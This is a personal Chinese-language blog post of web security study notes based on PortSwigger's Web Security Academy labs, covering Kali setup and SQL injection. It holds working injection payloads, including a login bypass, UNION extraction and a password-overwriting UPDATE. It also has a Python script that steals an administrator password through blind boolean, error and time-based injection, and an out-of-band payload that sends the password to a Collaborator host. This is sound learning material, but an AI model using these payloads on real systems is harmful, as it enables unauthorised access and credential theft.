学习web安全笔记

Posted by wsxq2 on 2022-05-23
TAGS:  Web网络安全白帽子

本文最后一次编辑时间:2022-05-23 22:10:06 +0800

本文是通过 Learning path | Web Security Academy - PortSwigger 学习web安全的笔记。该站点是 BurpSuite 的官方网站,其创建者是《黑客攻防技术宝典——Web实战篇》(英文名是 The Web Application Hacker’s Handbook)的作者。另外 Kali 官网也有相关的学习资源,不过大多收费(主要是指 Infosec Training & Penetration Testing | Offensive Security

漏洞平台及 SRC

Kali

必要操作:

  1. 安装中文输入法:apt update && apt search wubi。我选择的是ibus-table-wubi
  2. apt代理:vim /etc/apt/apt.con.d/proxy.conf:
    1
    2
    3
    4
    
    Acquire {
      HTTP::proxy "http://127.0.0.1:8080";
      HTTPS::proxy "http://127.0.0.1:8080";
    }
    

    来自 https://www.serverlab.ca/tutorials/linux/administration-linux/how-to-set-the-proxy-for-apt-for-ubuntu-18-04/

  3. 桌面系统:xfce。常用快捷键:
    1. ctrl+alt+left/right:切换桌面
    2. alt+insert/delete:添加或删除桌面
    3. ctrl+alt+1-9:切换桌面
    4. ctrl+alt+d:显示桌面
    5. alt+f11: 全屏
  4. clipbord 是xfce插件:可以配置快捷键super+V,命令是xfce4-popup-clipman
  5. 现在的默认shell是zsh,可通过/etc/passwd修改为bash后重启
  6. kali应用程序简要浏览,目前比较熟悉的是wireshark, metaploit, burpsuite, nmap, hydra, xfce相关工具
  7. kali相关资源:
    1. 官网: 升级换代了许多,更加简单和方便了,尤其是下载和安装,直接下个OVA文件即可
    2. 文档: 官方文档比较注重于kali本身,其中的各种软件需要去各自的官网查相应的文档
    3. 论坛: 官方论坛比较靠谱、国内论坛多且乱,曾经访问的kali.org.cn已经无法访问了
    4. 培训: 有两个是免费的,一个是公开课,另一个是训练场(PG),前者似乎需要加入discord群,现已加入。两者均需要注册offensive security账户
    5. IRC: 尝试进去但没成功

Burp Suite

学习路线:

  1. 阅读Getting started with Burp Suite Professional / Community Edition - PortSwigger
  2. 观看UI简介视频
  3. 申请 professional 试用:24小时内邮箱里如果没有收到信息就联系hello@portswigger.net

SQL 注入

学习链接:

参考手册:

相关在线工具:

常见例子:

  • 获取隐藏数据
  • 推翻程序逻辑
  • 从其他表里获取数据
  • 获取数据库信息
  • 盲SQL注入

获取隐藏数据

' or 1=1--

1
SELECT * FROM products WHERE category = 'Gifts' OR 1=1--' AND released = 1

技巧总结:

  • 由于所有类型的数据库均可使用-- (注意有个空格)来注释,故采用该方式注释比较通用
  • 由于1=1可能被安全过滤了,所以可以尝试'a'='a'等方案

推翻程序逻辑

administrator'--

1
SELECT * FROM users WHERE username = 'administrator'--' AND password = ''

技巧总结:

  • 有的程序登录时先查用户对应的密码,再去比较密码,即类似下面的逻辑:
    1
    2
    3
    4
    5
    
    ...
    $rows=($conn->query("SELECT username,password FROM user_info WHERE username = '$username'"));
    $row= $rows->fetch();
    if($row['username']==$username &&$row['password']==$password){
    ...
    

    这时可以注入 UPDATE 语句来成功登录:

    1
    
    admin'; update user_info set password = 'admin' where username = 'admin'-- 
    

从其他表里获取数据

UNION攻击

判断有几列
order by
1
2
3
select xxx,xxx from xxx order by 3-- 
select xxx,xxx from xxx order by 2-- 
...
union select null,null,...
1
2
3
select xxx,xxx from xxx where xxx='xxx' union select null,null,null-- 
select xxx,xxx from xxx where xxx='xxx' union select null,null-- 
...

技巧总结:

  • 可以使用二分法以提高效率。不过貌似也不是很有必要
查找有用数据类型的列
1
2
select xxx,xxx from xxx where xxx='xxx' UNION SELECT 'a',NULL--
select xxx,xxx from xxx where xxx='xxx' UNION SELECT NULL,'a'--
获取数据
1
select xxx,xxx from xxx where xxx='xxx' UNION SELECT username, password FROM users--
在一列里获取多个值
1
select xxx from xxx where xxx='xxx' UNION SELECT username || '~' || password FROM users--

获取数据库信息

查询数据库类型和版本

Database type Query
Microsoft, MySQL SELECT @@version
Oracle SELECT * FROM v$version
PostgreSQL SELECT version()

列出数据库的内容

Database type Query
Oracle SELECT * FROM all_tables; SELECT * FROM all_tab_columns WHERE table_name = 'TABLE-NAME-HERE'
non-Oracle SELECT * FROM information_schema.tables; SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'

总结:

  • 难点在于需要快速找到关键表格。不要轻易过滤

盲SQL注入

通过触发条件响应

1
SELECT TrackingId FROM TrackedUsers WHERE TrackingId = 'u5YD3PapBcR4lN3e7Tj4' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) > 'm'

为了提高效率,可以写一个 Python 脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
import time
import requests
import urllib.parse

def findNthChar(nth):
    # 二分搜索
    start = 0
    end = 127
    while start <= end:
        mid = start + (end - start) // 2
        if isNthCharLessThanN(nth,mid):
            end = mid - 1
        else:
            start = mid + 1
    return start-1


url = 'https://ac361f431ec7648dc0b976a300ca009b.web-security-academy.net'

headers = {
        'Cache-Control': 'max-age=0',
        'Sec-Ch-Ua': '" Not A;Brand";v="99", "Chromium";v="96"',
        'Sec-Ch-Ua-Mobile': '?0',
        'Sec-Ch-Ua-Platform': '"Linux"',
        'Upgrade-Insecure-Requests': '1',
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36',
        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
        'Sec-Fetch-Site': 'cross-site',
        'Sec-Fetch-Mode': 'navigate',
        'Sec-Fetch-User': '?1',
        'Sec-Fetch-Dest': 'document',
        'Referer': 'https://portswigger.net/',
        'Accept-Encoding': 'gzip, deflate',
        'Accept-Language': 'en-US,en;q=0.9',
        'Connection': 'close'
        }

# condition
def isNthCharLessThanN(nth,n):
    print(nth,n,end=' ')
    cookies = dict(TrackingId="YHenAh8g17AfsSJr' AND SUBSTRING((SELECT password FROM users WHERE username = 'administrator'), {}, 1) < '{}".format(nth, urllib.parse.quote(chr(n), safe='')),session='POuRr019tmTaD9EebjISQ6rSIWxTpsMq')
    r = requests.get(url, cookies=cookies, headers=headers)
    print('Welcome back' in r.text)
    return 'Welcome back' in r.text

res=''
i=1
while(True):
    c=findNthChar(i)

    if c < 32 or c > 126:
        break
    res+=chr(c)
    print(c,chr(c))
    i+=1
print(res)

通过触发 SQL 错误来诱导条件响应

1
SELECT TrackingId FROM TrackedUsers WHERE TrackingId = 'u5YD3PapBcR4lN3e7Tj4' AND (SELECT CASE WHEN (Username = 'Administrator' AND SUBSTRING(Password, 1, 1) > 'm') THEN 1/0 ELSE 'a' END FROM Users)='a'

同样可以使用上述 Python 脚本,只需要修改下 isNthCharLessThanN 函数的逻辑:

1
2
3
4
5
6
7
# condition+error
def isNthCharLessThanN2(nth,n):
    print(nth,n,end=' ')
    cookies = dict(TrackingId=urllib.parse.quote("7kaOekeJMy9ISfWA' and (SELECT CASE WHEN (SUBSTR((SELECT password FROM users WHERE username = 'administrator'), {}, 1) < '{}') THEN to_char(1/0) ELSE 'a' END FROM dual) = 'a".format(nth, chr(n)), safe=''),session='S8DxJU5UXw4ODe0nEn5LqaHayMXGOPwy')
    r = requests.get(url, cookies=cookies, headers=headers)
    print(r.status_code==500)
    return r.status_code==500

通过触发时间延迟

1
SELECT TrackingId FROM TrackedUsers WHERE TrackingId = 'u5YD3PapBcR4lN3e7Tj4'; IF (SELECT COUNT(Username) FROM Users WHERE Username = 'Administrator' AND SUBSTRING(Password, 1, 1) > 'm') = 1 WAITFOR DELAY '0:0:10'--

同样可以使用上述 Python 脚本,只需要修改下 isNthCharLessThanN 函数的逻辑:

1
2
3
4
5
6
7
8
9
10
11
# condition+time delay
def isNthCharLessThanN3(nth,n):
    print(nth,n,end=' ')
    cookies = dict(TrackingId=urllib.parse.quote("9hKnWfyWFhsyJxgD';SELECT CASE WHEN (SUBSTRING((SELECT password FROM users WHERE username = 'administrator'), {}, 1) < '{}') THEN pg_sleep(1) ELSE pg_sleep(0) END-- ".format(nth, chr(n)), safe=''),session='BTqJeSxFYlGIrE2mQuhDQ5klckFPxXbU')
    start=time.time()
    r = requests.get(url, cookies=cookies, headers=headers)
    end=time.time()
    cost=end-start
    timeout=1.5
    print(cost,cost>timeout)
    return cost>timeout

通过带外(OAST)技术

1
SELECT TrackingId FROM TrackedUsers WHERE TrackingId = 'u5YD3PapBcR4lN3e7Tj4'; declare @p varchar(1024);set @p=(SELECT password FROM users WHERE username='Administrator');exec('master..xp_dirtree "//'+@p+'.cwcsgt05ikji0n1f2qlzn5118sek29.burpcollaborator.net/a"')--

该方案因为要求 Burp Suite Professional 版本,而它需要 399 $/年,所以就没有尝试